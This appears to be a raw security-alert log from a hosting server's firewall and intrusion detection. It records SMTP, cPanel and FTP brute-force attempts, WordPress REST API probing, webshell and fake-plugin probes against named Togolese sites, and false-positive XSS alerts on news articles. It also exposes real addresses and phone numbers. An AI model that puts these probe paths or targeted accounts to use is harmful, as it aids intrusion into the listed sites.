IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/webmail.ekeasarl.com/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:27:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:54004: 535 Incorrect authentication data (set_id=immc@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:28:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:34664: 535 Incorrect authentication data (set_id=eduroam@ns5.netmaster.tg)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 87.106.77.124
country_id: 2921044
domain: togomedia24.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:28:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:1882: 535 Incorrect authentication data (set_id=advertise@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:28:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:51534: 535 Incorrect authentication data (set_id=advertise@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:29:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:11130: 535 Incorrect authentication data (set_id=whatever@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:29:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42556: 535 Incorrect authentication data (set_id=teamwork@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:30:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:4002: 535 Incorrect authentication data (set_id=abhay@ns5.netmaster.tg)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 172.236.129.186
country_id: 1880251
domain: togosem.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:30:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:9816: 535 Incorrect authentication data (set_id=alpha1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:31:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:65500: 535 Incorrect authentication data (set_id=instinct@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:31:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:28958: 535 Incorrect authentication data (set_id=slave@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:31:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:45024: 535 Incorrect authentication data (set_id=cstest@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:32:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:12594: 535 Incorrect authentication data (set_id=director123@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:32:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:46272: 535 Incorrect authentication data (set_id=mattes@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-07-01 12:33:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:22834: 535 Incorrect authentication data (set_id=colby@ns5.netmaster.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jul  1 12:33:18 ns5 pure-ftpd[2459312]: (?@47.84.199.24) [WARNING] Authentication failed for user [kwbcfbmo]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-07-01 12:33:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:53242: 535 Incorrect authentication data (set_id=0@ns5.netmaster.tg)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 81.19.208.108
country_id: 2750405
domain: v2.arse.tg
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.145.128.130
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:45.145.128.130||TA:45.145.128.130||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.81
country_id: 130758
description:
2026-07-01 12:36:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.81]:39869: 535 Incorrect authentication data (set_id=rvv)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.81
country_id: 130758
description:
2026-07-01 12:37:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.81]:46696: 535 Incorrect authentication data (set_id=rvv)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.18.171.245
country_id: 1269750
description:
2026-07-01 12:39:05 dovecot_login authenticator failed for H=(localhost) [103.18.171.245]:64581: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.87.92.205
country_id: 3923057
description:
2026-07-01 12:39:23 dovecot_login authenticator failed for H=(localhost) [200.87.92.205]:55322: 535 Incorrect authentication data (set_id=arse)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.49.95
country_id: 2363686
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST /wp-content/plugins/matomo/app/matomo.php?action_name=Togo: la Direction de la Nationalit\xc3\xa9\xc2\xa0 a officiellement\xc2\xa0 lanc\xc3\xa9\xc2\xa0 sa plateforme digitalis\xc3\xa9e \xe2\x80\x93 Corps Diplomatic News&idsite=1&rec=1&r=006407&h=12&m=40&s=46&url=https:/corpsdiplomaticnews.tg/index.php/2024/12/15/togo-la-direction-de-la-nationalite-a-officiellement-lance-sa-plateforme-digitalisee/#google_vignette&urlref=https:/www.google.com/&_id=ba4930d28973aaad&_idn=0&send_image=0&_refts=1782909647&_ref=https:/www.google.com/&pv_id=K3Vud9&pf_net=0&pf_srv=277&pf_tfr=63&uadata={\"formFactors\":[\"Mobile\


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.178.52
country_id: 1880251
description:
43.173.178.52 - - [01/Jul/2026:12:43:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937371&pdata=https%253A%252F%252Fvitrinenews.tg%252F%253Fp%253D5404&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782909789 HTTP/1.1" 404 561 vitrinenews.tg "https://vitrinenews.tg/?p=5404" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.178.52


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>face aux fortes pr\xc3\xa9cipitations qui se sont r\xc3\xa9cemment abattues sur la capitale et ses environs en d\xc3\xa9but de semaine, l\xe2\x80\x99ex\xc3\xa9cutif togolais reste en alerte maximale. hier mardi 30 juin, le ministre de la s\xc3\xa9curit\xc3\xa9 a effectu\xc3\xa9 une visite de terrain strat\xc3\xa9gique dans le grand lom\xc3\xa9, pour \xc3\xa9valuer de visu l\xe2\x80\x99\xc3\xa9volution de la situation, s'assurer de l\xe2\x80\x99efficacit\xc3\xa9 des dispositifs de secours d\xc3\xa9ploy\xc3\xa9s et coordonner les actions futures pour prot\xc3\xa9ger les populations.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>le ministre et sa d\xc3\xa9l\xc3\xa9gation au c\xc5\x93ur des zones sensibles de lom\xc3\xa9</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>accompagn\xc3\xa9 des principaux responsables de son d\xc3\xa9partement minist\xc3\xa9riel, le colonel calixte madjoulba a pass\xc3\xa9 au crible les points critiques et les infrastructures de r\xc3\xa9tention d\xe2\x80\x99eau de la capitale. la d\xc3\xa9l\xc3\xa9gation officielle s\xe2\x80\x99est successivement rendue sur les sites. entre le triangle des rails \xc3\xa0 tokoin s\xc3\xa9minaire et le carrefour 3k\xc2\xa0; le bassin gb\xc3\xa9z\xc3\xa9 et le march\xc3\xa9 de hedzranawo\xc3\xa9 ; le bassin de r\xc3\xa9tention de togo 2000 ; le centre hospitalier r\xc3\xa9gional (chr) lom\xc3\xa9-commune ; et le centre de logop\xc3\xa9 ainsi que les bassins des deux lions et cam\xc3\xa9l\xc3\xa9on, la d\xc3\xa9solation \xc3\xa9tait au rendez-vous.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31775,\"width\":\"592px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/image-1-1024x576.png\" alt=\"\" class=\"wp-image-31775\" style=\"width:592px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la tourn\xc3\xa9e s'est ensuite poursuivie au centre national de commandement unifi\xc3\xa9, pour s\xe2\x80\x99achever au centre national des op\xc3\xa9rations d\xe2\x80\x99urgence. sur place, un point de situation complet a \xc3\xa9t\xc3\xa9 pr\xc3\xa9sent\xc3\xa9 au ministre, d\xc3\xa9taillant les interventions en cours et les perspectives d\xe2\x80\x99action imm\xc3\xa9diates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des signaux encourageants et une am\xc3\xa9lioration progressive</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les constats dress\xc3\xa9s lors de cette visite de terrain apportent une lueur d'espoir pour les riverains. les efforts continus des \xc3\xa9quipes op\xc3\xa9rationnelles commencent \xc3\xa0 porter leurs fruits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>on note ainsi, une baisse progressive du niveau des eaux a \xc3\xa9t\xc3\xa9 constat\xc3\xa9e sur la majorit\xc3\xa9 des principaux bassins de r\xc3\xa9tention inspect\xc3\xa9s, confirmant une nette am\xc3\xa9lioration de la situation sur plusieurs sites critiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette visite a \xc3\xa9galement permis d'identifier les ajustements techniques n\xc3\xa9cessaires et de renforcer la synergie entre les diff\xc3\xa9rents acteurs de la protection civile engag\xc3\xa9s dans la r\xc3\xa9ponse \xc3\xa0 cette crise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31777,\"width\":\"600px\",\"height\":\"auto\",\"aspectratio\":\"1.3299030279042152\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/image-2-1024x770.png\" alt=\"\" class=\"wp-image-31777\" style=\"aspect-ratio:1.3299030279042152;width:600px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>pour la s\xc3\xa9curit\xc3\xa9 des populations, une vigilance maximale maintenue</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tout en saluant le travail remarquable des \xc3\xa9quipes de secours, le ministre de la s\xc3\xa9curit\xc3\xa9 a tenu \xc3\xa0 rappeler que le combat n'\xc3\xa9tait pas termin\xc3\xa9. en s'adressant directement aux personnels d\xc3\xa9ploy\xc3\xa9s sur le terrain et aux \xc3\xa9quipes des centres op\xc3\xa9rationnels, il a transmis la reconnaissance du gouvernement pour leur engagement, leur professionnalisme et leur sens aigu du devoir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le colonel madjoulba les a invit\xc3\xa9s \xc3\xa0 maintenir le m\xc3\xaame niveau de vigilance, de rigueur et de mobilisation jusqu\xe2\x80\x99au retour complet \xc3\xa0 la normale. l\xe2\x80\x99officiel a r\xc3\xa9it\xc3\xa9r\xc3\xa9 la priorit\xc3\xa9 absolue de l'\xc3\x89tat, celle d\xe2\x80\x99assurer la s\xc3\xa9curit\xc3\xa9 des populations et prot\xc3\xa9ger les personnes et les biens face aux al\xc3\xa9as climatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mab\xc3\xa9 b.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 40.125.81.11
country_id: 6252001
domain: matwtogo.org
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.63.18.87
country_id: 732800
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-47.37.63.18.87||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.81
country_id: 130758
description:
2026-07-01 12:49:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.81]:50844: 535 Incorrect authentication data (set_id=hint)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.235.169.17
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:140.235.169.17||TA:140.235.169.17||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.96.44.178
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/oxfam-tire-la-sonnette-dalarme-sur-loligarchie-des-ultra-riches/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.96.44.178
country_id: 1643084
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/oxfam-tire-la-sonnette-dalarme-sur-loligarchie-des-ultra-riches/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.224.49.76
country_id: 1269750
domain: in.crepsad.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.22||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/crepsad/in.crepsad.tg/wp-content/uploads||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 4.224.49.76
country_id: 1269750
domain: in.crepsad.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.22||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.81
country_id: 130758
description:
2026-07-01 13:02:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.81]:55517: 535 Incorrect authentication data (set_id=ins)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.224.49.76
country_id: 1269750
domain: in.crepsad.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/crepsad/in.crepsad.tg/wp-includes||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 4.224.49.76
country_id: 1269750
domain: in.crepsad.tg
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 61.97.243.108
country_id: 1835841
description:
[2026-07-01 13:06:52 +0000] info [cpaneld] 61.97.243.108 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 61.97.243.108
country_id: 1835841
description:
[2026-07-01 13:06:52 +0000] info [cpaneld] 61.97.243.108 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 13:08:00 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:41398: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.142.224.208
country_id: 6252001
description:
2026-07-01 13:10:33 dovecot_plain authenticator failed for H=(p3tiqp4x9rhrtlapabhgv) [23.142.224.208]:60917: 535 Incorrect authentication data (set_id=sonia.lassey@mesyscom.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>en d\xc3\xa9cembre 2025, le gouvernement togolais a proc\xc3\xa9d\xc3\xa9 au lancement d\xe2\x80\x99une nouvelle op\xc3\xa9ration nationale de transferts mon\xc3\xa9taires au profit des populations vuln\xc3\xa9rables. elle fait suite \xc3\xa0 des pr\xc3\xa9c\xc3\xa9dentes qui sont arriv\xc3\xa9es \xc3\xa0 terme en 2024. la nouvelle initiative permettra \xc3\xa0 700 000 personnes \xc3\xa0 travers tout le pays de b\xc3\xa9n\xc3\xa9ficier d\xe2\x80\x99un appui financier direct de 25 000 francs cfa par m\xc3\xa9nage.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;a travers cette op\xc3\xa9ration qui a port\xc3\xa9 ses fruits, les autorit\xc3\xa9s togolaises s\xe2\x80\x99engagent \xc3\xa0 renforcer durablement le syst\xc3\xa8me de protection sociale gr\xc3\xa2ce \xc3\xa0 des m\xc3\xa9canismes num\xc3\xa9riques s\xc3\xa9curis\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans sa configuration o\xc3\xb9 il est financ\xc3\xa9 par l'\xc3\x89tat, la banque mondiale et l'agence fran\xc3\xa7aise de d\xc3\xa9veloppement, il offre aux m\xc3\xa9nages la possibilit\xc3\xa9 concr\xc3\xa8te de dire adieu \xc3\xa0 l'inactivit\xc3\xa9 et \xc3\xa0 la pr\xc3\xa9carit\xc3\xa9, tout en consolidant les filets de protection sociale. les efforts du gouvernement, en ce qui concernent la solution financi\xc3\xa8re des transferts mon\xc3\xa9taires, dans les r\xc3\xa9gions int\xc3\xa9rieures du pays payent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31765,\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/webinaire-02-juillet-26.jpg\" alt=\"\" class=\"wp-image-31765\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pour la p\xc3\xa9riode 2024-2025, le programme s'est signal\xc3\xa9 de la plus belle des mani\xc3\xa8res. plus de 1,1 milliard fcfa a \xc3\xa9t\xc3\xa9 mobilis\xc3\xa9 entre ao\xc3\xbbt 2024 et ao\xc3\xbbt 2025 pour assurer les transferts mon\xc3\xa9taires aux personnes vuln\xc3\xa9rables dans le cadre des programmes et projets de filets sociaux de base.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dans les r\xc3\xa9gions des plateaux, centrale et de la kara, les donn\xc3\xa9es d\xc3\xa9voil\xc3\xa9es par le minist\xc3\xa8re du d\xc3\xa9veloppement \xc3\xa0 la base t\xc3\xa9moignent d'une intervention cibl\xc3\xa9e, centr\xc3\xa9e sur les zones o\xc3\xb9 les besoins sociaux demeurent significatifs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la r\xc3\xa9gion des plateaux enregistre 2 076 m\xc3\xa9nages b\xc3\xa9n\xc3\xa9ficiaires de transferts mon\xc3\xa9taires en 2024. cette zone, marqu\xc3\xa9e par une forte activit\xc3\xa9 agricole et une diversit\xc3\xa9 de dynamiques rurales, a toujours constitu\xc3\xa9 un espace strat\xc3\xa9gique pour les politiques d'assistance sociale. l'appui financier y contribue \xc3\xa0 soutenir des foyers souvent d\xc3\xa9pendants de revenus saisonniers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;la r\xc3\xa9gion de la kara suit avec 2 883 m\xc3\xa9nages accompagn\xc3\xa9s. ce volume, le plus \xc3\xa9lev\xc3\xa9 parmi les trois r\xc3\xa9gions consid\xc3\xa9r\xc3\xa9es, s'explique par l'efficacit\xc3\xa9 des interventions dans cette partie septentrionale du pays, o\xc3\xb9 les d\xc3\xa9fis li\xc3\xa9s \xc3\xa0 la pauvret\xc3\xa9 et \xc3\xa0 l'acc\xc3\xa8s aux services de base demeurent particuli\xc3\xa8rement pr\xc3\xa9sents. dans la r\xc3\xa9gion centrale, 990 m\xc3\xa9nages ont b\xc3\xa9n\xc3\xa9fici\xc3\xa9 des transferts mon\xc3\xa9taires au cours de l'ann\xc3\xa9e mentionn\xc3\xa9e. \xc2\xab&nbsp;<em>ce chiffre, modeste en comparaison, est dans une logique de ciblage pr\xc3\xa9cis des foyers les plus fragiles, notamment dans les zones rurales et p\xc3\xa9riurbaines</em>&nbsp;\xc2\xbb, explique-t-on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>les autorit\xc3\xa9s affirment que les transferts mon\xc3\xa9taires ne sont pas des investissements en l\xe2\x80\x99air ou des investissements inutiles. ce sont des investissements dans l\xe2\x80\x99humain, fondamental pour le d\xc3\xa9veloppement. les transferts mon\xc3\xa9taires r\xc3\xa9duisent les vuln\xc3\xa9rabilit\xc3\xa9s gr\xc3\xa2ce \xc3\xa0 leur facult\xc3\xa9 d'apporter un soutien direct aux m\xc3\xa9nages, en contribuant \xc3\xa0 couvrir des besoins essentiels tels que l'alimentation, la sant\xc3\xa9, la scolarisation des enfants. \xc2\xab&nbsp;<em>l\xe2\x80\x99argent re\xc3\xa7u m\xe2\x80\x99a permis d\xe2\x80\x99agrandir mon commerce et de pouvoir prendre soin de mes enfants</em>&nbsp;\xc2\xbb, a confi\xc3\xa9 une revendeuse de c\xc3\xa9r\xc3\xa9ales.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"545px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:545px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la s\xc3\xa9lection des b\xc3\xa9n\xc3\xa9ficiaires repose sur des crit\xc3\xa8res bien d\xc3\xa9finis. il s\xe2\x80\x99agit notamment des personnes ayant des difficult\xc3\xa9s \xc3\xa0 se nourrir, des individus atteints de maladies graves ou chroniques, ou encore des personnes vivant avec un handicap. les m\xc3\xa9nages ayant perdu leur principale source de revenus sont \xc3\xa9galement concern\xc3\xa9s, tout comme ceux dont les enfants en \xc3\xa2ge scolaire restent \xc3\xa0 la maison faute de moyens financiers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour le gouvernement, les transferts mon\xc3\xa9taires s\xe2\x80\x99inscrivent dans un programme global de protection sociale pr\xc3\xa9vu pour une dur\xc3\xa9e de cinq ans. le programme repose sur trois axes : les transferts mon\xc3\xa9taires inconditionnels, l\xe2\x80\x99emploi des jeunes en situation de vuln\xc3\xa9rabilit\xc3\xa9, l\xe2\x80\x99autonomisation \xc3\xa9conomique des m\xc3\xa9nages vuln\xc3\xa9rables, en particulier les femmes, \xc3\xa0 travers le d\xc3\xa9veloppement d\xe2\x80\x99activit\xc3\xa9s g\xc3\xa9n\xc3\xa9ratrices de revenus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>(in le mediun n\xc2\xb0709 du 30 juin au 06 juillet 2026)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 13:12:41 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54270: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
